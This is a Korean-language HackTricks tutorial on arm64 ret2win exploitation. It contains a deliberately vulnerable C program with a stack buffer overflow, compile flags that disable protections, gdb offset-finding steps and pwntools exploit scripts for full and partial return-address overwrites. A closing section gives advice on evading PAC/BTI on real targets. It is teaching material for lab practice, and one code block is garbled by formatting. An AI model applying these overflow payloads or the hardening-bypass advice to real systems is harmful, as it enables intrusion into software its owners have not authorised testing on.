Ret2win - arm64

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

arm64 ์†Œ๊ฐœ๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐํ•˜์„ธ์š”:

Introduction to ARM64v8

์ฝ”๋“œ

#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

pie์™€ canary ์—†์ด ์ปดํŒŒ์ผ:

clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • ์ถ”๊ฐ€ ํ”Œ๋ž˜๊ทธ -mbranch-protection=none๋Š” AArch64 Branch Protection (PAC/BTI)์„ ๋น„ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ํˆด์ฒด์ธ์ด ๊ธฐ๋ณธ์ ์œผ๋กœ PAC ๋˜๋Š” BTI๋ฅผ ํ™œ์„ฑํ™”ํ•œ๋‹ค๋ฉด, ์ด ํ”Œ๋ž˜๊ทธ๋Š” ์‹ค์Šต ์žฌํ˜„์„ฑ์„ ์œ ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ PAC/BTI๋ฅผ ์‚ฌ์šฉํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด:
  • AArch64 GNU properties๋ฅผ ํ™•์ธ:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • ํ”„๋กค๋กœ๊ทธ/์—ํ•„๋กœ๊ทธ์—์„œ paciasp/autiasp (PAC) ๋˜๋Š” bti c landing pads (BTI)๋ฅผ ๊ฒ€์‚ฌ:
  • objdump -d ret2win | head -n 40

AArch64 ํ˜ธ์ถœ ๊ทœ์•ฝ ์š”์•ฝ

  • ๋งํฌ ๋ ˆ์ง€์Šคํ„ฐ๋Š” x30(์ผ๋ช… lr)์ด๋ฉฐ, ํ•จ์ˆ˜๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ stp x29, x30, [sp, #-16]!๋กœ x29/x30์„ ์ €์žฅํ•˜๊ณ  ldp x29, x30, [sp], #16; ret๋กœ ๋ณต์›ํ•ฉ๋‹ˆ๋‹ค.
  • ์ฆ‰ ์ €์žฅ๋œ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋Š” ํ”„๋ ˆ์ž„ ๋ฒ ์ด์Šค๋กœ๋ถ€ํ„ฐ sp+8์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. char buffer[64]๊ฐ€ ์•„๋ž˜์— ๋ฐฐ์น˜๋œ ๊ฒฝ์šฐ, ์ €์žฅ๋œ x30๊นŒ์ง€์˜ ์ผ๋ฐ˜์ ์ธ ๋ฎ์–ด์“ฐ๊ธฐ ๊ฑฐ๋ฆฌ๋Š” 64 (buffer) + 8 (saved x29) = 72 ๋ฐ”์ดํŠธ์ž…๋‹ˆ๋‹ค โ€” ์ด๋Š” ์•„๋ž˜์—์„œ ์ •ํ™•ํžˆ ํ™•์ธํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • ์Šคํƒ ํฌ์ธํ„ฐ๋Š” ํ•จ์ˆ˜ ๊ฒฝ๊ณ„์—์„œ 16๋ฐ”์ดํŠธ ์ •๋ ฌ์„ ์œ ์ง€ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋” ๋ณต์žกํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๋‚˜์ค‘์— ROP ์ฒด์ธ์„ ๊ตฌ์„ฑํ•  ๊ฒฝ์šฐ, SP ์ •๋ ฌ์„ ์œ ์ง€ํ•˜์ง€ ์•Š์œผ๋ฉด ํ•จ์ˆ˜ ์—ํ•„๋กœ๊ทธ์—์„œ ํฌ๋ž˜์‹œ๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜คํ”„์…‹ ์ฐพ๊ธฐ

ํŒจํ„ด ์˜ต์…˜

์ด ์˜ˆ์ œ๋Š” GEF๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ƒ์„ฑ๋˜์—ˆ์Šต๋‹ˆ๋‹ค:

GEF๋กœ gdb๋ฅผ ์‹œ์ž‘ํ•˜๊ณ , ํŒจํ„ด์„ ์ƒ์„ฑํ•˜์—ฌ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

gdb -q ./ret2win
pattern create 200
run

arm64๋Š” ๋ ˆ์ง€์Šคํ„ฐ x30์— ์žˆ๋Š” ์ฃผ์†Œ๋กœ ๋ณต๊ท€ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค(ํ•ด๋‹น ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ ์ œ์–ด๋˜์—ˆ์œผ๋ฏ€๋กœ). ์ด๋ฅผ ์‚ฌ์šฉํ•ด ํŒจํ„ด ์˜คํ”„์…‹์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

pattern search $x30

์˜คํ”„์…‹์€ 72 (9x48)์ž…๋‹ˆ๋‹ค.

์Šคํƒ ์˜คํ”„์…‹ ์˜ต์…˜

๋จผ์ € pc ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ ์ €์žฅ๋œ ์Šคํƒ ์ฃผ์†Œ๋ฅผ ์–ป์Šต๋‹ˆ๋‹ค:

gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

์ด์ œ read() ์ดํ›„์— breakpoint๋ฅผ ์„ค์ •ํ•˜๊ณ  read()๊ฐ€ ์‹คํ–‰๋  ๋•Œ๊นŒ์ง€ continueํ•œ ๋‹ค์Œ 13371337๊ณผ ๊ฐ™์€ ํŒจํ„ด์„ ์„ค์ •ํ•˜์„ธ์š”:

b *vulnerable_function+28
c

์ด ํŒจํ„ด์ด ๋ฉ”๋ชจ๋ฆฌ์˜ ์–ด๋””์— ์ €์žฅ๋˜์–ด ์žˆ๋Š”์ง€ ์ฐพ์œผ์„ธ์š”:

Then: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

No PIE

Regular

win ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์–ป์œผ์„ธ์š”:

objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

์‚ฌ์‹ค ์ด๊ฒƒ์€ ์Šคํƒ์— ์ €์žฅ๋œ PC์—์„œ์˜ off-by-2์— ๋” ๊ฐ€๊น์Šต๋‹ˆ๋‹ค. return address ์ „์ฒด๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ๋Œ€์‹  ๋งˆ์ง€๋ง‰ 2 bytes๋งŒ 0x06c4๋กœ ๋ฎ์–ด์“ธ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

๋‹ค๋ฅธ ARM64์˜ off-by-one ์˜ˆ์ œ๋Š” https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํ—ˆ๊ตฌ์˜ ์ทจ์•ฝ์ ์—์„œ ๋ฐœ์ƒํ•œ ์‹ค์ œ off-by-one์ž…๋‹ˆ๋‹ค.

PIE ์‚ฌ์šฉ ์‹œ

Tip

๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ -no-pie ์ธ์ž๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ  ์ปดํŒŒ์ผํ•˜์„ธ์š”

Off-by-2

leak์ด ์—†์œผ๋ฉด win ํ•จ์ˆ˜์˜ ์ •ํ™•ํ•œ ์ฃผ์†Œ๋Š” ์•Œ ์ˆ˜ ์—†์ง€๋งŒ, ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ํ•ด๋‹น ํ•จ์ˆ˜์˜ ์˜คํ”„์…‹์€ ์•Œ ์ˆ˜ ์žˆ๊ณ  ์šฐ๋ฆฌ๊ฐ€ ๋ฎ์–ด์“ฐ๊ณ  ์žˆ๋Š” ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊ฐ€ ์ด๋ฏธ ๊ฐ€๊นŒ์šด ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋‹ค๋Š” ์ ์„ ์ด์šฉํ•˜๋ฉด, ์ด ๊ฒฝ์šฐ win ํ•จ์ˆ˜์˜ ์˜คํ”„์…‹(0x7d4)์„ leakํ•ด์„œ ๊ทธ ์˜คํ”„์…‹์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

```python from pwn import *

Configuration

binary_name = โ€˜./ret2winโ€™ p = process(binary_name)

Prepare the payload

offset = 72 ret2win_addr = p16(0x07d4) payload = bโ€™Aโ€™ * offset + ret2win_addr

Send the payload

p.send(payload)

Check response

print(p.recvline()) p.close()

### ์ตœ์‹  AArch64 ํ•˜๋“œ๋‹(PAC/BTI) ๋ฐ ret2win์— ๋Œ€ํ•œ ์ฃผ์˜์‚ฌํ•ญ

- ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ AArch64 Branch Protection์œผ๋กœ ์ปดํŒŒ์ผ๋œ ๊ฒฝ์šฐ, ํ•จ์ˆ˜ prologues/epilogues์— `paciasp`/`autiasp` ๋˜๋Š” `bti c`๊ฐ€ ์ถœ๋ ฅ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฐ ๊ฒฝ์šฐ:
- ์œ ํšจํ•œ BTI landing pad๊ฐ€ ์•„๋‹Œ ์ฃผ์†Œ๋กœ ๋Œ์•„๊ฐ€๋ฉด `SIGILL`์ด ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. `bti c`๊ฐ€ ํฌํ•จ๋œ ์ •ํ™•ํ•œ ํ•จ์ˆ˜ ์ง„์ž…์ ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.
- PAC๊ฐ€ returns์— ๋Œ€ํ•ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ, naive returnโ€‘address overwrites๋Š” ์—ํ•„๋กœ๊ทธ๊ฐ€ `x30`์„ ์ธ์ฆํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์‹คํŒจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•™์Šต์šฉ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์œ„์—์„œ ๋ณด์ธ ๊ฒƒ์ฒ˜๋Ÿผ `-mbranch-protection=none`์œผ๋กœ ๋‹ค์‹œ ๋นŒ๋“œํ•˜์„ธ์š”. ์‹ค์ œ ํƒ€๊นƒ์„ ๊ณต๊ฒฉํ•  ๋•Œ๋Š” nonโ€‘return hijacks(์˜ˆ: function pointer overwrites)์„ ์„ ํ˜ธํ•˜๊ฑฐ๋‚˜ ์œ„์กฐํ•œ LR์„ ์ธ์ฆํ•˜๋Š” `autiasp`/`ret` ์Œ์„ ์ ˆ๋Œ€ ์‹คํ–‰ํ•˜์ง€ ์•Š๋Š” ROP๋ฅผ ๊ตฌ์„ฑํ•˜์„ธ์š”.
- ๊ธฐ๋Šฅ์„ ๋น ๋ฅด๊ฒŒ ํ™•์ธํ•˜๋ ค๋ฉด:
- `readelf --notes -W ./ret2win` ๊ทธ๋ฆฌ๊ณ  `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` ๋…ธํŠธ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
- `objdump -d ./ret2win | head -n 40` ๊ทธ๋ฆฌ๊ณ  `bti c`, `paciasp`, `autiasp`๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.

### nonโ€‘ARM64 ํ˜ธ์ŠคํŠธ์—์„œ ์‹คํ–‰ํ•˜๊ธฐ (qemuโ€‘user ๋น ๋ฅธ ํŒ)

๋งŒ์•ฝ x86_64์— ์žˆ์ง€๋งŒ AArch64๋ฅผ ์—ฐ์Šตํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด:
```bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

๊ด€๋ จ HackTricks ํŽ˜์ด์ง€

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

์ฐธ๊ณ  ๋ฌธํ—Œ

  • AArch64์—์„œ Linux์šฉ PAC ๋ฐ BTI ํ™œ์„ฑํ™” (Arm Community, 2024๋…„ 11์›”). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Arm 64๋น„ํŠธ ์•„ํ‚คํ…์ฒ˜๋ฅผ ์œ„ํ•œ ํ”„๋กœ์‹œ์ € ํ˜ธ์ถœ ํ‘œ์ค€ (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ